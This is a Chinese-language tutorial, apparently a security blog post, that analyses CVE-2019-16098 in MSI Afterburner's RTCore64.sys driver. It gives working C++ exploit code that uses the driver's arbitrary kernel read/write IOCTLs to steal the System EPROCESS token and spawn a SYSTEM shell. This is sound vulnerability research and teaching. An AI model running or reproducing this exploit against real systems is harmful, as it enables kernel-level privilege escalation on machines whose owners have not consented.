這篇要說明 CVE-2019-16098 的漏洞成因,然後利用 RTCore64.sys 的任意讀寫漏洞竄改 EPROCESS Token 達成提權。
首先來看看 CVE-2019-16098 在 MITRE 的描述。
The driver in Micro-Star MSI Afterburner 4.6.2.15658 (aka RTCore64.sys and RTCore32.sys) allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.
直接用列點的方式抓重點。
- 軟體:Micro-Star MSI Afterburner 4.6.2.15658
- 元件:RTCore64.sys
- 漏洞成因:任意讀寫記憶體、I/O Port、MSR
- 影響:提權、Kernel 任意執行
從我的 GitHub 下載目標驅動程式檔案 RTCore64.sys。對驅動程式檔案點右鍵 => 內容 => 數位簽章,可以看到 RTCore64.sys 的數位簽章資訊,是 2017 年 8 月 27 日的簽章。
IDA 開啟 RTCore64.sys 後看 DriverEntry
可以快速找到 Dispatcher 的函數位址與 Symbolic Link Name RTCore64
。
雖然 RTCore64.sys 的漏洞很多,不過這篇會針對任意讀寫,攻擊漏洞達成提權。
分析 IoControlCode 0x80002048 可以看到程式把攻擊者可控的 SystemBuffer 當成指標讀取位址所指向的記憶體內容,然後寫回攻擊者可讀的記憶體,導致任意讀的漏洞。
分析 IoControlCode 0x8000204C 則可以發現程式讀取攻擊者可控的 SystemBuffer,將值寫入攻擊者可控的任意位址,導致任意寫的漏洞。
程式主要參考專案 Barakat/CVE-2019-16098,我更改了 ntoskrnl.exe 起始位址的取得方法和一些程式邏輯並加上註解。完整的專案也放在我的 GitHub zeze-zeze/2023iThome。
程式步驟如下。
- 取得
PsInitialSystemProcess
的位址 - 讀取 System 的 EPROCESS Token
- 迴圈找出當前 Process 的 EPROCESS 位址
- 竄改當前 Process 的 EPROCESS Token
在【第 13 話】CVE-2020-17382 研究-Buffer Overflow(下)有介紹取得 ntoskrnl.exe 起始位址的方法。這裡用同個方式在拿到 ntoskrnl.exe 起始位址後,搭配 LoadLibraryW 和 GetProcAddress 算出 PsInitialSystemProcess
的 Offset,其中 PsInitialSystemProcess
是指向 System EPROCESS 的 Windows Kernel 全域變數。
// 取得 ntoskrnl.exe 的起始位址
INT64 NtoskrnlBaseAddress = (INT64)GetBaseAddr("ntoskrnl.exe");
// 1. 用 LoadLibrary 和 GetProcAddress 取得 PsInitialSystemProcess 的位址
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset =
(DWORD64)(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - (DWORD64)Ntoskrnl;
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress =
ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
有了 System 的 EPROCESS 位址後,利用 RTCore64.sys 的任意讀漏洞就能讀取 System 的 EPROCESS Token。
// 利用 RTCore64.sys 的任意讀漏洞讀取 Kernel 記憶體
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address)
{
RTCORE64_MEMORY_READ_WRITE MemoryRead {};
MemoryRead.address = Address;
MemoryRead.size = Size;
DWORD BytesReturned;
DeviceIoControl(Device, 0x80002048, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned,
nullptr);
return MemoryRead.value;
}
// 從指定 Kernel 記憶體中讀取 8 bytes
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address)
{
return ((DWORD64)(ReadMemoryPrimitive(Device, 4, Address + 4)) << 32) | ReadMemoryPrimitive(Device, 4, Address);
}
int main()
{
...
// 2. 利用 RTCore64.sys 的任意讀漏洞讀取 System 的 EPROCESS Token
const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + TokenOffset) & ~15;
...
}
跟【第 10 話】Windows Kernel Shellcode 相同原理,從 System 的 EPROCESS ActiveProcessLinks 開始迴圈尋找當前 Process 的 EPROCESS。
// 3. 迴圈找出當前 Process 的 EPROCESS 位址
const DWORD64 CurrentProcessId = (DWORD64)GetCurrentProcessId();
DWORD64 ProcessHead = PsInitialSystemProcessAddress + ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do
{
const DWORD64 ProcessAddress = CurrentProcessAddress - ActiveProcessLinksOffset;
const DWORD64 UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + UniqueProcessIdOffset);
if (UniqueProcessId == CurrentProcessId)
{
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + ActiveProcessLinksOffset);
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= ActiveProcessLinksOffset;
找到當前 Process 的 EPROCESS 後,利用 RTCore64.sys 的任意寫漏洞將 Token 竄改為 System 的 EPROCESS Token,然後跳出有 System 權限的 cmd。
// 利用 RTCore64.sys 的任意寫漏洞寫入 Kernel 記憶體
VOID WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value)
{
RTCORE64_MEMORY_READ_WRITE MemoryRead {};
MemoryRead.address = Address;
MemoryRead.size = Size;
MemoryRead.value = Value;
DWORD BytesReturned;
DeviceIoControl(Device, 0x8000204c, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned,
nullptr);
}
// 從指定 Kernel 記憶體中寫入 8 bytes
VOID WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value)
{
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
int main()
{
...
// 4. 利用 RTCore64.sys 的任意寫漏洞寫入 System 的 EPROCESS Token
// 竄改當前 Process 的 EPROCESS Token
WriteMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset, SystemProcessToken);
system("cmd");
...
}
- 在 VM 中載入 RTCore64.sys
- 用一般使用者權限執行 CVE-2019-16098.exe,會看到一個 cmd 跳出來
- 輸入
whoami
會看到已經成功提權system